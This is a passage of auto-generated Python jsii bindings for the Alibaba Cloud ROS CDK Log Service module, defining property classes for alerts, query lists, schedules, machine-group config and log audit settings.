''' result = self._values.get("type") assert result is not None, "Required property 'type' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def content( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: content: The content of an alert notification ''' result = self._values.get("content") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def email_list( self, ) -> typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]]: ''' :Property: emailList: ''' result = self._values.get("email_list") return typing.cast(typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]], result) @builtins.property def mobile_list( self, ) -> typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]]: ''' :Property: mobileList: ''' result = self._values.get("mobile_list") return typing.cast(typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]], result) @builtins.property def service_uri( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: serviceUri: The webhook URL of the DingTalk chatbot. ''' result = self._values.get("service_uri") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "NotificationListProperty(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.RosAlert.QueryListProperty", jsii_struct_bases=[], name_mapping={ "chart_title": "chartTitle", "end": "end", "log_store": "logStore", "query": "query", "start": "start", "time_span_type": "timeSpanType", }, ) class QueryListProperty: def __init__( self, *, chart_title: typing.Union[builtins.str, ros_cdk_core.IResolvable], end: typing.Union[builtins.str, ros_cdk_core.IResolvable], log_store: typing.Union[builtins.str, ros_cdk_core.IResolvable], query: typing.Union[builtins.str, ros_cdk_core.IResolvable], start: typing.Union[builtins.str, ros_cdk_core.IResolvable], time_span_type: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: ''' :param chart_title: :param end: :param log_store: :param query: :param start: :param time_span_type: ''' self._values: typing.Dict[str, typing.Any] = { "chart_title": chart_title, "end": end, "log_store": log_store, "query": query, "start": start, "time_span_type": time_span_type, } @builtins.property def chart_title(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: chartTitle: ''' result = self._values.get("chart_title") assert result is not None, "Required property 'chart_title' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def end(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: end: ''' result = self._values.get("end") assert result is not None, "Required property 'end' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def log_store(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: logStore: ''' result = self._values.get("log_store") assert result is not None, "Required property 'log_store' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def query(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: query: ''' result = self._values.get("query") assert result is not None, "Required property 'query' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def start(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: start: ''' result = self._values.get("start") assert result is not None, "Required property 'start' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def time_span_type( self, ) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: timeSpanType: ''' result = self._values.get("time_span_type") assert result is not None, "Required property 'time_span_type' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "QueryListProperty(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.RosAlert.ScheduleProperty", jsii_struct_bases=[], name_mapping={ "type": "type", "cron_expression": "cronExpression", "day_of_week": "dayOfWeek", "delay": "delay", "hour": "hour", "interval": "interval", "run_immediately": "runImmediately", }, ) class ScheduleProperty: def __init__( self, *, type: typing.Union[builtins.str, ros_cdk_core.IResolvable], cron_expression: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, day_of_week: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, delay: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, hour: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, interval: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, run_immediately: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, ) -> None: ''' :param type: :param cron_expression: :param day_of_week: :param delay: :param hour: :param interval: :param run_immediately: ''' self._values: typing.Dict[str, typing.Any] = { "type": type, } if cron_expression is not None: self._values["cron_expression"] = cron_expression if day_of_week is not None: self._values["day_of_week"] = day_of_week if delay is not None: self._values["delay"] = delay if hour is not None: self._values["hour"] = hour if interval is not None: self._values["interval"] = interval if run_immediately is not None: self._values["run_immediately"] = run_immediately @builtins.property def type(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: type: ''' result = self._values.get("type") assert result is not None, "Required property 'type' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def cron_expression( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: cronExpression: ''' result = self._values.get("cron_expression") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def day_of_week( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: dayOfWeek: ''' result = self._values.get("day_of_week") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def delay( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: delay: ''' result = self._values.get("delay") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def hour( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: hour: ''' result = self._values.get("hour") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def interval( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: interval: Execution interval ''' result = self._values.get("interval") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def run_immediately( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: runImmediately: ''' result = self._values.get("run_immediately") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "ScheduleProperty(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.RosAlertProps", jsii_struct_bases=[], name_mapping={"detail": "detail", "project": "project"}, ) class RosAlertProps: def __init__( self, *, detail: typing.Union[RosAlert.DetailProperty, ros_cdk_core.IResolvable], project: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: '''Properties for defining a ``ALIYUN::SLS::Alert``. :param detail: :param project: ''' self._values: typing.Dict[str, typing.Any] = { "detail": detail, "project": project, } @builtins.property def detail(self) -> typing.Union[RosAlert.DetailProperty, ros_cdk_core.IResolvable]: ''' :Property: detail: ''' result = self._values.get("detail") assert result is not None, "Required property 'detail' is missing" return typing.cast(typing.Union[RosAlert.DetailProperty, ros_cdk_core.IResolvable], result) @builtins.property def project(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: project: Project name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' result = self._values.get("project") assert result is not None, "Required property 'project' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "RosAlertProps(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) class RosApplyConfigToMachineGroup( ros_cdk_core.RosResource, metaclass=jsii.JSIIMeta, jsii_type="@alicloud/ros-cdk-sls.RosApplyConfigToMachineGroup", ): '''A ROS template type: ``ALIYUN::SLS::ApplyConfigToMachineGroup``.''' def __init__( self, scope: ros_cdk_core.Construct, id: builtins.str, props: "RosApplyConfigToMachineGroupProps", enable_resource_property_constraint: builtins.bool, ) -> None: '''Create a new ``ALIYUN::SLS::ApplyConfigToMachineGroup``. :param scope: - scope in which this resource is defined. :param id: - scoped id of the resource. :param props: - resource properties. :param enable_resource_property_constraint: - ''' jsii.create(self.__class__, self, [scope, id, props, enable_resource_property_constraint]) @jsii.member(jsii_name="renderProperties") def _render_properties( self, props: typing.Mapping[builtins.str, typing.Any], ) -> typing.Mapping[builtins.str, typing.Any]: ''' :param props: - ''' return typing.cast(typing.Mapping[builtins.str, typing.Any], jsii.invoke(self, "renderProperties", [props])) @jsii.python.classproperty # type: ignore[misc] @jsii.member(jsii_name="ROS_RESOURCE_TYPE_NAME") def ROS_RESOURCE_TYPE_NAME(cls) -> builtins.str: '''The resource type name for this resource class.''' return typing.cast(builtins.str, jsii.sget(cls, "ROS_RESOURCE_TYPE_NAME")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="rosProperties") def _ros_properties(self) -> typing.Mapping[builtins.str, typing.Any]: return typing.cast(typing.Mapping[builtins.str, typing.Any], jsii.get(self, "rosProperties")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="enableResourcePropertyConstraint") def enable_resource_property_constraint(self) -> builtins.bool: '''A factory method that creates a new instance of this class from an object containing the properties of this ROS resource.''' return typing.cast(builtins.bool, jsii.get(self, "enableResourcePropertyConstraint")) @enable_resource_property_constraint.setter def enable_resource_property_constraint(self, value: builtins.bool) -> None: jsii.set(self, "enableResourcePropertyConstraint", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="configName") def config_name( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: configName: Apply config to the config name ''' return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], jsii.get(self, "configName")) @config_name.setter def config_name( self, value: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "configName", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="groupName") def group_name( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: groupName: Apply config to the group name ''' return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], jsii.get(self, "groupName")) @group_name.setter def group_name( self, value: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "groupName", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="projectName") def project_name( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: projectName: Apply config to the project name. ''' return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], jsii.get(self, "projectName")) @project_name.setter def project_name( self, value: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "projectName", value) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.RosApplyConfigToMachineGroupProps", jsii_struct_bases=[], name_mapping={ "config_name": "configName", "group_name": "groupName", "project_name": "projectName", }, ) class RosApplyConfigToMachineGroupProps: def __init__( self, *, config_name: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, group_name: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, project_name: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, ) -> None: '''Properties for defining a ``ALIYUN::SLS::ApplyConfigToMachineGroup``. :param config_name: :param group_name: :param project_name: ''' self._values: typing.Dict[str, typing.Any] = {} if config_name is not None: self._values["config_name"] = config_name if group_name is not None: self._values["group_name"] = group_name if project_name is not None: self._values["project_name"] = project_name @builtins.property def config_name( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: configName: Apply config to the config name ''' result = self._values.get("config_name") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def group_name( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: groupName: Apply config to the group name ''' result = self._values.get("group_name") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def project_name( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: projectName: Apply config to the project name. ''' result = self._values.get("project_name") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "RosApplyConfigToMachineGroupProps(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) class RosAudit( ros_cdk_core.RosResource, metaclass=jsii.JSIIMeta, jsii_type="@alicloud/ros-cdk-sls.RosAudit", ): '''A ROS template type: ``ALIYUN::SLS::Audit``.''' def __init__( self, scope: ros_cdk_core.Construct, id: builtins.str, props: "RosAuditProps", enable_resource_property_constraint: builtins.bool, ) -> None: '''Create a new ``ALIYUN::SLS::Audit``. :param scope: - scope in which this resource is defined. :param id: - scoped id of the resource. :param props: - resource properties. :param enable_resource_property_constraint: - ''' jsii.create(self.__class__, self, [scope, id, props, enable_resource_property_constraint]) @jsii.member(jsii_name="renderProperties") def _render_properties( self, props: typing.Mapping[builtins.str, typing.Any], ) -> typing.Mapping[builtins.str, typing.Any]: ''' :param props: - ''' return typing.cast(typing.Mapping[builtins.str, typing.Any], jsii.invoke(self, "renderProperties", [props])) @jsii.python.classproperty # type: ignore[misc] @jsii.member(jsii_name="ROS_RESOURCE_TYPE_NAME") def ROS_RESOURCE_TYPE_NAME(cls) -> builtins.str: '''The resource type name for this resource class.''' return typing.cast(builtins.str, jsii.sget(cls, "ROS_RESOURCE_TYPE_NAME")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrDisplayName") def attr_display_name(self) -> ros_cdk_core.IResolvable: ''' :Attribute: DisplayName: Name of SLS log audit. ''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrDisplayName")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="rosProperties") def _ros_properties(self) -> typing.Mapping[builtins.str, typing.Any]: return typing.cast(typing.Mapping[builtins.str, typing.Any], jsii.get(self, "rosProperties")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="displayName") def display_name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: displayName: Name of SLS log audit. ''' return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], jsii.get(self, "displayName")) @display_name.setter def display_name( self, value: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: jsii.set(self, "displayName", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="enableResourcePropertyConstraint") def enable_resource_property_constraint(self) -> builtins.bool: return typing.cast(builtins.bool, jsii.get(self, "enableResourcePropertyConstraint")) @enable_resource_property_constraint.setter def enable_resource_property_constraint(self, value: builtins.bool) -> None: jsii.set(self, "enableResourcePropertyConstraint", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="variableMap") def variable_map( self, ) -> typing.Union[ros_cdk_core.IResolvable, "RosAudit.VariableMapProperty"]: ''' :Property: variableMap: Log audit detailed configuration. ''' return typing.cast(typing.Union[ros_cdk_core.IResolvable, "RosAudit.VariableMapProperty"], jsii.get(self, "variableMap")) @variable_map.setter def variable_map( self, value: typing.Union[ros_cdk_core.IResolvable, "RosAudit.VariableMapProperty"], ) -> None: jsii.set(self, "variableMap", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="multiAccount") def multi_account( self, ) -> typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.List[typing.Union[builtins.str, ros_cdk_core.IResolvable]]]]: ''' :Property: multiAccount: Multi-account configuration, please fill in multiple aliuid. ''' return typing.cast(typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.List[typing.Union[builtins.str, ros_cdk_core.IResolvable]]]], jsii.get(self, "multiAccount")) @multi_account.setter def multi_account( self, value: typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.List[typing.Union[builtins.str, ros_cdk_core.IResolvable]]]], ) -> None: jsii.set(self, "multiAccount", value) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.RosAudit.VariableMapProperty", jsii_struct_bases=[], name_mapping={ "actiontrail_enabled": "actiontrailEnabled", "actiontrail_openapi_collection_policy": "actiontrailOpenapiCollectionPolicy", "actiontrail_openapi_policy_setting": "actiontrailOpenapiPolicySetting", "actiontrail_ti_enabled": "actiontrailTiEnabled", "actiontrail_ttl": "actiontrailTtl", "apigateway_access_collection_policy": "apigatewayAccessCollectionPolicy", "apigateway_access_policy_setting": "apigatewayAccessPolicySetting", "apigateway_enabled": "apigatewayEnabled", "apigateway_ti_enabled": "apigatewayTiEnabled", "apigateway_ttl": "apigatewayTtl", "appconnect_enabled": "appconnectEnabled", "appconnect_op_collection_policy": "appconnectOpCollectionPolicy", "appconnect_op_policy_setting": "appconnectOpPolicySetting", "appconnect_ti_enabled": "appconnectTiEnabled", "appconnect_ttl": "appconnectTtl", "bastion_audit_collection_policy": "bastionAuditCollectionPolicy", "bastion_audit_policy_setting": "bastionAuditPolicySetting", "bastion_enabled": "bastionEnabled", "bastion_ti_enabled": "bastionTiEnabled", "bastion_ttl": "bastionTtl", "cloudfirewall_access_collection_policy": "cloudfirewallAccessCollectionPolicy", "cloudfirewall_access_policy_setting": "cloudfirewallAccessPolicySetting", "cloudfirewall_enabled": "cloudfirewallEnabled", "cloudfirewall_ti_enabled": "cloudfirewallTiEnabled", "cloudfirewall_ttl": "cloudfirewallTtl", "cps_callback_collection_policy": "cpsCallbackCollectionPolicy", "cps_callback_policy_setting": "cpsCallbackPolicySetting", "cps_enabled": "cpsEnabled", "cps_ti_enabled": "cpsTiEnabled", "cps_ttl": "cpsTtl", "ddos_coo_access_collection_policy": "ddosCooAccessCollectionPolicy", "ddos_coo_access_enabled": "ddosCooAccessEnabled", "ddos_coo_access_policy_setting": "ddosCooAccessPolicySetting", "ddos_coo_access_ti_enabled": "ddosCooAccessTiEnabled", "ddos_coo_access_ttl": "ddosCooAccessTtl", "drds_audit_collection_policy": "drdsAuditCollectionPolicy", "drds_audit_enabled": "drdsAuditEnabled", "drds_audit_policy_setting": "drdsAuditPolicySetting", "drds_audit_ti_enabled": "drdsAuditTiEnabled", "drds_audit_ttl": "drdsAuditTtl", "drds_sync_enabled": "drdsSyncEnabled", "drds_sync_ttl": "drdsSyncTtl", "k8_s_audit_collection_policy": "k8SAuditCollectionPolicy", "k8_s_audit_enabled": "k8SAuditEnabled", "k8_s_audit_policy_setting": "k8SAuditPolicySetting", "k8_s_audit_ti_enabled": "k8SAuditTiEnabled", "k8_s_audit_ttl": "k8SAuditTtl", "k8_s_event_collection_policy": "k8SEventCollectionPolicy", "k8_s_event_enabled": "k8SEventEnabled", "k8_s_event_policy_setting": "k8SEventPolicySetting", "k8_s_event_ti_enabled": "k8SEventTiEnabled", "k8_s_event_ttl": "k8SEventTtl", "k8_s_ingress_collection_policy": "k8SIngressCollectionPolicy", "k8_s_ingress_enabled": "k8SIngressEnabled", "k8_s_ingress_policy_setting": "k8SIngressPolicySetting", "k8_s_ingress_ti_enabled": "k8SIngressTiEnabled", "k8_s_ingress_ttl": "k8SIngressTtl", "nas_audit_collection_policy": "nasAuditCollectionPolicy", "nas_audit_policy_setting": "nasAuditPolicySetting", "nas_enabled": "nasEnabled", "nas_ti_enabled": "nasTiEnabled", "nas_ttl": "nasTtl", "oss_access_collection_policy": "ossAccessCollectionPolicy", "oss_access_enabled": "ossAccessEnabled", "oss_access_policy_setting": "ossAccessPolicySetting", "oss_access_ti_enabled": "ossAccessTiEnabled", "oss_access_ttl": "ossAccessTtl", "oss_metering_collection_policy": "ossMeteringCollectionPolicy", "oss_metering_enabled": "ossMeteringEnabled", "oss_metering_policy_setting": "ossMeteringPolicySetting", "oss_metering_ti_enabled": "ossMeteringTiEnabled", "oss_metering_ttl": "ossMeteringTtl", "oss_sync_enabled": "ossSyncEnabled", "oss_sync_ttl": "ossSyncTtl", "polardb_audit_collection_policy": "polardbAuditCollectionPolicy", "polardb_audit_policy_setting": "polardbAuditPolicySetting", "polardb_enabled": "polardbEnabled", "polardb_perf_collection_policy": "polardbPerfCollectionPolicy", "polardb_perf_enabled": "polardbPerfEnabled", "polardb_perf_policy_setting": "polardbPerfPolicySetting", "polardb_perf_ti_enabled": "polardbPerfTiEnabled", "polardb_perf_ttl": "polardbPerfTtl", "polardb_slow_collection_policy": "polardbSlowCollectionPolicy", "polardb_slow_enabled": "polardbSlowEnabled", "polardb_slow_policy_setting": "polardbSlowPolicySetting", "polardb_slow_ti_enabled": "polardbSlowTiEnabled", "polardb_slow_ttl": "polardbSlowTtl", "polardb_ti_enabled": "polardbTiEnabled", "polardb_ttl": "polardbTtl", "rds_audit_collection_policy": "rdsAuditCollectionPolicy", "rds_audit_policy_setting": "rdsAuditPolicySetting", "rds_enabled": "rdsEnabled", "rds_perf_collection_policy": "rdsPerfCollectionPolicy", "rds_perf_enabled": "rdsPerfEnabled", "rds_perf_policy_setting": "rdsPerfPolicySetting", "rds_perf_ti_enabled": "rdsPerfTiEnabled", "rds_perf_ttl": "rdsPerfTtl", "rds_slow_collection_policy": "rdsSlowCollectionPolicy", "rds_slow_enabled": "rdsSlowEnabled", "rds_slow_policy_setting": "rdsSlowPolicySetting", "rds_slow_ti_enabled": "rdsSlowTiEnabled", "rds_slow_ttl": "rdsSlowTtl", "rds_ti_enabled": "rdsTiEnabled", "rds_ttl": "rdsTtl", "redis_audit_collection_policy": "redisAuditCollectionPolicy", "redis_audit_enabled": "redisAuditEnabled", "redis_audit_policy_setting": "redisAuditPolicySetting", "redis_audit_ti_enabled": "redisAuditTiEnabled", "redis_audit_ttl": "redisAuditTtl", "redis_sync_enabled": "redisSyncEnabled", "redis_sync_ttl": "redisSyncTtl", "sas_crack_enabled": "sasCrackEnabled", "sas_dns_enabled": "sasDnsEnabled", "sas_http_enabled": "sasHttpEnabled", "sas_local_dns_enabled": "sasLocalDnsEnabled", "sas_login_enabled": "sasLoginEnabled", "sas_network_enabled": "sasNetworkEnabled", "sas_process_enabled": "sasProcessEnabled", "sas_security_alert_enabled": "sasSecurityAlertEnabled", "sas_security_hc_enabled": "sasSecurityHcEnabled", "sas_security_vul_enabled": "sasSecurityVulEnabled", "sas_session_enabled": "sasSessionEnabled", "sas_snapshot_account_enabled": "sasSnapshotAccountEnabled", "sas_snapshot_port_enabled": "sasSnapshotPortEnabled", "sas_snapshot_process_enabled": "sasSnapshotProcessEnabled", "sas_ti_enabled": "sasTiEnabled", "sas_ttl": "sasTtl", "slb_access_collection_policy": "slbAccessCollectionPolicy", "slb_access_enabled": "slbAccessEnabled", "slb_access_policy_setting": "slbAccessPolicySetting", "slb_access_ti_enabled": "slbAccessTiEnabled", "slb_access_ttl": "slbAccessTtl", "slb_sync_enabled": "slbSyncEnabled", "slb_sync_ttl": "slbSyncTtl", "waf_access_collection_policy": "wafAccessCollectionPolicy", "waf_access_policy_setting": "wafAccessPolicySetting", "waf_enabled": "wafEnabled", "waf_ti_enabled": "wafTiEnabled", "waf_ttl": "wafTtl", }, ) class VariableMapProperty: def __init__( self, *, actiontrail_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, actiontrail_openapi_collection_policy: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, actiontrail_openapi_policy_setting: typing.Optional[typing.Union[typing.Sequence[typing.Any], ros_cdk_core.IResolvable]] = None, actiontrail_ti_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, actiontrail_ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, apigateway_access_collection_policy: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, apigateway_access_policy_setting: typing.Optional[typing.Union[typing.Sequence[typing.Any], ros_cdk_core.IResolvable]] = None, apigateway_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, apigateway_ti_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, apigateway_ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, appconnect_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, appconnect_op_collection_policy: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, appconnect_op_policy_setting: typing.Optional[typing.Union[typing.Sequence[typing.Any], ros_cdk_core.IResolvable]] = None, appconnect_ti_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, appconnect_ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, bastion_audit_collection_policy: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, bastion_audit_policy_setting: typing.Optional[typing.Union[typing.Sequence[typing.Any], ros_cdk_core.IResolvable]] = None, bastion_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, bastion_ti_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, bastion_ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, cloudfirewall_access_collection_policy: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, cloudfirewall_access_policy_setting: typing.Optional[typing.Union[typing.Sequence[typing.Any], ros_cdk_core.IResolvable]] = None, cloudfirewall_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, cloudfirewall_ti_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, cloudfirewall_ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, cps_callback_collection_policy: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, cps_callback_policy_setting: typing.Optional[typing.Union[typing.Sequence[typing.Any], ros_cdk_core.IResolvable]] = None, cps_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, cps_ti_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, cps_ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, ddos_coo_access_collection_policy: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, ddos_coo_access_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, ddos_coo_access_policy_setting: typing.Optional[typing.Union[typing.Sequence[typing.Any], ros_cdk_core.IResolvable]] = None, ddos_coo_access_ti_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, ddos_coo_access_ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, drds_audit_collection_policy: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, drds_audit_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, drds_audit_policy_setting: typing.Optional[typing.Union[typing.Sequence[typing.Any], ros_cdk_core.IResolvable]] = None, drds_audit_ti_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, drds_audit_ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, drds_sync_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, drds_sync_ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, k8_s_audit_collection_policy: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, k8_s_audit_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, k8_s_audit_policy_setting: typing.Optional[typing.Union[typing.Sequence[typing.Any], ros_cdk_core.IResolvable]] = None, k8_s_audit_ti_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, k8_s_audit_ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, k8_s_event_collection_policy: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, k8_s_event_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, k8_s_event_policy_setting: 